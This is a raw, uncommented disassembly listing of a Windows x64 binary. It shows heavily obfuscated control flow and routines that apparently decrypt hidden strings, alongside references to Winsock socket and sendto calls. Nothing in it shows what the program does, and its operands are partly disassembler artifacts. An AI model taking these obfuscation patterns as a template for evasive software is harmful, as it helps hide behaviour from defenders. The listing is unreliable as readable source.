lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14004b7e1
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14004b7c2
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14004b79f
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14004b77e
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14004b75a
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14004b73b
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14004b530
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x7a]
jmp 0x14004b530
lea ecx, [r10 + 0x15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6d
jmp 0x14004b520
lea ecx, [r10 + 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x61
jmp 0x14004b4c0
lea ecx, [r10 - 0x67]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2f
jmp 0x14004b463
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
movzx r11d, r10b
jmp 0x14004bdd6
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
inc r8
dec r10
inc r10
jmp 0x14004b453
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
dec r10
inc r10
jmp 0x14004b453
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14004be1a
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004be39
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6e
jmp 0x14004be3c
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
jmp 0x14004be6b
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xa
jmp 0x14004be90
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10]
add rax, r8
add r10, rax
inc r10
jmp 0x14004b453
lea ecx, [r10 + 0xd]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5b
mov byte [rbp + r10], dil
inc r10
jmp 0x14004b453
lea ecx, [r10 + 0x4f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x29
cmp r8, 0x3e8
jb 0x14004b876
movzx r11d, r10b
lea ecx, [r11 - 0x26]
movzx eax, cl
and al, r9b
mov edx, 5
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14004bdd6
lea ecx, [r10 - 0x6f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 9
cmp rbx, 0x64
jae 0x14004bd01
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x14004bc24
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
jmp 0x14004b899
lea ecx, [r10 - 0x2d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3b
lea rax, [r8 + rbx]
cmp rax, 0x28
je 0x14004bd29
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x14004bb82
lea ecx, [r10 + 0x23]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0xb
jmp 0x14004b8dc
lea ecx, [r10 - 0x3e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4e
movzx eax, byte [rbp + r10]
add rax, r8
add r10, rax
inc r10
jmp 0x14004b453
lea ecx, [r10 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
jmp 0x14004be90
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004be6b
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004be3c
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004be39
movzx r11d, r10b
lea ecx, [r11 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
jmp 0x14004be1a
lea ecx, [r10 + 0x4e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x22
dec r10
inc r10
jmp 0x14004b453
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14004b453
movzx r11d, r10b
lea edx, [r11 - 0x2e]
movzx eax, dl
and al, r9b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004bdd6
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x14004baab
lea ecx, [r10 - 0x21]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x19
jmp 0x14004b921
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004bade
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
movzx eax, byte [rbp + r10]
add rax, r8
add r10, rax
inc r10
jmp 0x14004b453
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004bb02
lea ecx, [r10 + 0x12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7e
jmp 0x14004be6b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004bb2a
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004be39
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004bb52
movzx r11d, r10b
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
jmp 0x14004be1a
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14004b921
movzx r11d, r10b
lea edx, [r11 - 0x7a]
movzx eax, dl
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004bdd6
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004bbaa
movzx r11d, r10b
lea ecx, [r11 - 0x1f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x27
jmp 0x14004bdd6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004bbd4
lea ecx, [r10 + 0x5d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x75
dec r10
inc r10
jmp 0x14004b453
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004bbfc
movzx r11d, r10b
lea ecx, [r11 + 0x1b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x43
jmp 0x14004be1a
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004b8dc
lea ecx, [r10 - 0x69]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x21
jmp 0x14004be3c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004bc57
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
movzx eax, byte [rbp + r10]
add rax, r8
add r10, rax
inc r10
jmp 0x14004b453
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004bc7f
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004be6b
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004bca7
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004be39
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004bcd1
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
dec r10
inc r10
jmp 0x14004b453
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14004b899
movzx r11d, r10b
lea edx, [r11 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004bdd6
movzx r11d, r10b
lea edx, [r11 - 0x68]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10]
sub dil, al
sub dil, 0x28
add dil, dl
add dil, r9b
jmp 0x14004be1a
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10]
lea edi, [r9 + rcx]
sub dil, 0x5a
jmp 0x14004be6b
lea ecx, [r10 - 0x41]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x39
jmp 0x14004be3c
lea ecx, [r10 + 1]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 7
jmp 0x14004be39
lea ecx, [r10 - 0x7b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x5d
dec r10
inc r10
jmp 0x14004b453
movzx r11d, r10b
lea ecx, [r11 + 9]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3f
jmp 0x14004bdd6
movzx r11d, r10b
lea ecx, [r11 - 0x73]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x25
sub r11b, 0x47
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0xf
add r11b, r9b
mov byte [rbp + r10], r11b
inc r8
dec r10
inc r10
jmp 0x14004b453
movzx r11d, r10b
lea ecx, [r11 + 0x53]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x45
add r11b, 0x77
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x41
add r11b, r9b
add r11b, dil
mov byte [rbp + r10], r11b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14004b453
lea rax, [r10 + r15]
movzx r9d, dl
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
add dil, 0x51
lea ecx, [r10 + 0x35]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x73
add cl, r9b
movzx eax, cl
mov byte [rbp + r10], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10]
add rax, r8
add r10, rax
inc r10
jmp 0x14004b453
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x4b
movzx eax, byte [rbp + r10]
add rax, r8
add r10, rax
inc r10
jmp 0x14004b453
sub r10b, 0x25
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 3
jmp 0x14004b450
add r10b, 0x1d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x35
jmp 0x14004b440
lea rdx, [rbp + 0x159ddd4]
jmp 0x14004bf49
lea rdx, [rbp + 0xa1d4b3]
jmp 0x14004bf49
lea rdx, [rbp]
lea rcx, [rbp + 0x218]
call fcn.1400432c0
nop
mov dword [rbp - 0x40], 0x76666e4d
mov dword [rbp - 0x3c], 0x62286068
mov word [rbp - 0x38], 0x6c70
mov byte [rbp - 0x36], 0xa
xor eax, eax
mov qword [rbp - 0x35], rax
mov word [rbp - 0x2d], ax
movabs rsi, 0x20665b96953bf200
movabs r14, 0x2399384b3f1b8200
movabs r12, 0xe2cc811e14a39e00
movabs r15, 0x613312c3bfb3d600
movzx edi, byte [rsp + 0x20]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov rdx, qword [rax]
nop word [rax + rax]
xor r8d, r8d
cmp r8, 0x15
jae 0x14004c65e
movzx r9d, byte [rbp + r8 - 0x40]
mov r10, r9
cmp rbx, r8
ja 0x14004c655
lea rax, [rdx + 1]
cmp rbx, rax
jae 0x14004bffe
lea rcx, [r8 + rsi]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
jmp 0x14004c040
je 0x14004c5fb
lea rax, [rdx + 3]
cmp rbx, rax
je 0x14004c588
lea rax, [rdx + 2]
cmp rbx, rax
je 0x14004c55c
lea rax, [rdx + 5]
cmp rbx, rax
je 0x14004c52a
lea rax, [rdx + 4]
cmp rbx, rax
je 0x14004c4f2
nop dword [rax + rax]
cmp rdx, r8
ja 0x14004c64c
lea rax, [rdx + 0x400]
cmp rbx, rax
jae 0x14004c06a
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r8b
sub dil, cl
add dil, r9b
jmp 0x14004c0b0
lea rax, [rdx + 1]
cmp rbx, rax
je 0x14004c4f2
lea rax, [rdx + 2]
cmp rbx, rax
je 0x14004c45e
lea rax, [rdx + 4]
cmp rbx, rax
je 0x14004c4da
lea rax, [rdx + 3]
cmp rbx, rax
je 0x14004c3f5
lea rax, [rdx + 9]
cmp rbx, rax
je 0x14004c2ee
nop dword [rax + rax]
lea rax, [rdx + rbx]
cmp rax, r8
jbe 0x14004c2c4
nop dword [rax]
lea rax, [rdx + 3]
cmp rbx, rax
je 0x14004c4f2
lea rax, [rdx + 0x200]
cmp rbx, rax
je 0x14004c34c
lea rax, [rdx + 0x7a]
cmp rbx, rax
je 0x14004c45e
lea rax, [rdx + 2]
cmp rbx, rax
je 0x14004c52a
lea rax, [rdx + 8]
cmp rbx, rax
je 0x14004c4da
lea rax, [rdx + 0x61]
cmp rbx, rax
je 0x14004c3f5
lea rax, [rdx + 1]
cmp rbx, rax
je 0x14004c31e
lea rax, [rdx + 6]
cmp rbx, rax
je 0x14004c416
lea rax, [rdx + 0x20]
cmp rbx, rax
je 0x14004c2ee
lea rax, [rdx + 0x2a]
cmp rbx, rax
je 0x14004c0c0
lea rbx, [rdx + 0x64]
lea rdx, [rbx + 5]
lea rax, [rdx + 0x1000]
cmp rbx, rax
jb 0x14004c637
lea rax, [rdx + 0x2a]
cmp rbx, rax
jb 0x14004c622
lea rax, [rdx + 5]
cmp rbx, rax
jb 0x14004c28c
lea rax, [rdx + 0x400]
cmp rbx, rax
jb 0x14004c274
lea rax, [rdx + 0x5a]
cmp rbx, rax
jb 0x14004c055
lea rax, [rdx + 4]
cmp rbx, rax
jb 0x14004c2cd
lea rax, [rdx + 0xa]
cmp rbx, rax
jb 0x14004c391
lea rcx, [rdx + 0x41]
cmp rbx, rcx
jb 0x14004c3ba
lea rax, [rdx + 3]
cmp rbx, rax
jb 0x14004c2a4
lea rax, [rdx + 9]
cmp rbx, rax
jb 0x14004c0c0
mov rbx, rcx
lea rdx, [rcx + 0x40]
lea rax, [rdx + 0x28]
cmp rcx, rax
ja 0x14004c2ee
lea rax, [rdx + 0x200]
cmp rcx, rax
ja 0x14004c416
lea rax, [rdx + 0x7a]
cmp rcx, rax
ja 0x14004c31e
lea rax, [rdx + 2]
cmp rcx, rax
ja 0x14004c3f5
lea rax, [rdx + 0x80]
cmp rcx, rax
ja 0x14004c4da
lea rax, [rdx + 0x61]
cmp rcx, rax
ja 0x14004c52a
lea rax, [rdx + 1]
cmp rcx, rax
ja 0x14004c45e
lea rax, [rdx + 6]
cmp rcx, rax
ja 0x14004c34c
lea rax, [rdx + 0x1000]
cmp rcx, rax
ja 0x14004c4f2
lea rax, [rdx + 0x2a]
cmp rcx, rax
ja 0x14004c0c0
lea rbx, [rdx + 0x64]
lea rdx, [rbx + 5]
jmp 0x14004c0c0
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r8b
sub dil, cl
add dil, r9b
jmp 0x14004c040
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r8b
sub dil, cl
add dil, r9b
jmp 0x14004bfd3
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r8b
sub dil, cl
add dil, r9b
mov byte [rbp + r8 - 0x40], dil
inc r8
jmp 0x14004bfc3
lea rax, [rdx + 0x61]
cmp rbx, rax
jae 0x14004c2e5
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r8b
sub dil, cl
add dil, r9b
jmp 0x14004c37a
lea rax, [rdx + 1]
cmp rbx, rax
jne 0x14004c315
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r8b
sub dil, cl
add dil, r9b
movzx eax, byte [rbp + r8 - 0x40]
add rax, rdx
add r8, rax
inc r8
jmp 0x14004bfc3
lea rax, [rdx + 2]
cmp rbx, rax
jne 0x14004c336
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r8b
sub dil, cl
add dil, r9b
jmp 0x14004c59d
lea rax, [rdx + 5]
cmp rbx, rax
je 0x14004c52a
lea rax, [rdx + 6]
cmp rbx, rax
jne 0x14004c36d
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r8b
sub dil, cl
add dil, r9b
inc rdx
dec r8
inc r8
jmp 0x14004bfc3
lea rax, [rdx + 8]
cmp rbx, rax
je 0x14004c4f2
lea rax, [rdx + rbx]
cmp rax, 0x5a
je 0x14004c4bd
lea rax, [rdx + 0x42]
cmp rbx, rax
jbe 0x14004c3d2
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r8b
sub dil, cl
add dil, r9b
cmp rbx, 0x80
jae 0x14004c4a6
lea rax, [rdx + 6]
cmp rbx, rax
jbe 0x14004c42e
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r8b
sub dil, cl
add dil, r9b
jmp 0x14004c485
lea rax, [rdx + 1]
cmp rbx, rax
je 0x14004c4f2
lea rax, [rdx + 2]
cmp rbx, rax
je 0x14004c34c
lea rax, [rdx + 5]
cmp rbx, rax
jne 0x14004c40d
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r8b
sub dil, cl
add dil, r9b
jmp 0x14004c56f
lea rax, [rdx + 3]
cmp rbx, rax
jne 0x14004c3a4
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r8b
sub dil, cl
add dil, r9b
jmp 0x14004c5c0
lea rax, [rdx + 1]
cmp rbx, rax
je 0x14004c2ee
lea rax, [rdx + 3]
cmp rbx, rax
je 0x14004c31e
lea rax, [rdx + 5]
cmp rbx, rax
je 0x14004c52a
lea rax, [rdx + 4]
cmp rbx, rax
jne 0x14004c47c
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r8b
sub dil, cl
add dil, r9b
dec r8
inc r8
jmp 0x14004bfc3
lea rax, [rdx + 8]
cmp rbx, rax
je 0x14004c4f2
cmp rdx, 0x5a
jb 0x14004c2b7
movzx eax, r8b
and al, r9b
add al, al
movzx ecx, r8b
sub cl, al
add cl, r9b
lea edi, [rcx + rcx]
jmp 0x14004c505
movzx eax, r8b
and al, r9b
add al, al
movzx edi, byte [rbp + r8 - 0x40]
sub dil, al
add dil, r8b
jmp 0x14004c53a
movzx eax, r8b
and al, r9b
add al, al
movzx edi, r8b
sub dil, al
sub dil, byte [rbp + r8 - 0x40]
add dil, r9b
jmp 0x14004c59d
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r8b
sub dil, cl
add dil, r9b
add rbx, rdx
jmp 0x14004c56f
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r8b
sub dil, cl
add dil, r9b
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx eax, r8b
sub al, cl
add al, r9b
mov byte [rbp + r8 - 0x40], al
inc rdx
dec r8
inc r8
jmp 0x14004bfc3
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, r8b
sub dil, cl
add dil, r9b
movzx eax, r8b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
add cl, r8b
add cl, r9b
mov byte [rbp + r8 - 0x40], cl
add rbx, rdx
jmp 0x14004c56f
lea rcx, [r8 + r14]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r8, rcx
inc r8
jmp 0x14004bfc3
lea rax, [r8 + r12]
movzx r9d, r10b
and r10b, al
add r10b, r10b
sub al, r10b
lea edi, [r9 + rax]
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx eax, r8b
sub al, cl
add al, r9b
movzx ecx, al
mov byte [rbp + r8 - 0x40], cl
inc rdx
add rcx, rdx
sub r8, rcx
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx eax, r8b
sub al, cl
add al, r9b
mov byte [rbp + r8 - 0x40], al
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r8, rax
movzx eax, byte [rbp + r8 - 0x40]
add rax, rdx
add r8, rax
inc r8
jmp 0x14004bfc3
lea rcx, [r8 + r15]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
movzx eax, byte [rbp + r8 - 0x40]
add rax, rdx
add r8, rax
inc r8
jmp 0x14004bfc3
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
jmp 0x14004bfc0
movzx eax, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
jmp 0x14004bfa5
lea rdx, [rbp + 0x14697c0]
jmp 0x14004c662
lea rdx, [rbp + 0x8289c0]
jmp 0x14004c662
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x1f8]
call fcn.1400432c0
nop
lea rcx, [rbp + 0x238]
call fcn.140044e20
lea rcx, [rbp + 0x218]
call fcn.140044e20
lea rcx, [rbp + 0x1f8]
call fcn.140044e20
nop
lea rcx, [rbp + 0x1f8]
call fcn.140043e40
nop
lea rcx, [rbp + 0x218]
call fcn.140043e40
nop
lea rcx, [rbp + 0x238]
call fcn.140043e40
mov rcx, qword [rbp + 0x258]
xor rcx, rsp
call fcn.140142c40
lea r11, [rsp + 0x360]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, [rbp + 0x118]
mov edx, eax
lea rcx, str.current_path_const_path_
call fcn.14004f090
int3